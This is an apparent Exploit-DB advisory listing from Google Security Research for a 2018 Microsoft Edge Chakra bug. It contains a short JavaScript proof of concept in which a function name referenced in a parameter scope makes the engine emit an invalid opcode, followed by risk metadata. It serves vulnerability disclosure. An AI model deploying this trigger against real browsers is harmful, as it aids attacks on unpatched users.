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Microsoft Edge Chakra - Incorrect Scope Handling
🗓️ 17 Jan 2018 00:00:00Reported by Google Security ResearchType 
exploitdb🔗 www.exploit-db.com👁 23 Views
// PoC:
(function func(arg = function () {
print(func); // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
print(func);
function func() {
}
})();
// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.Data
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17 Jan 2018 00:00Current
7.4High risk
Vulners AI Score7.4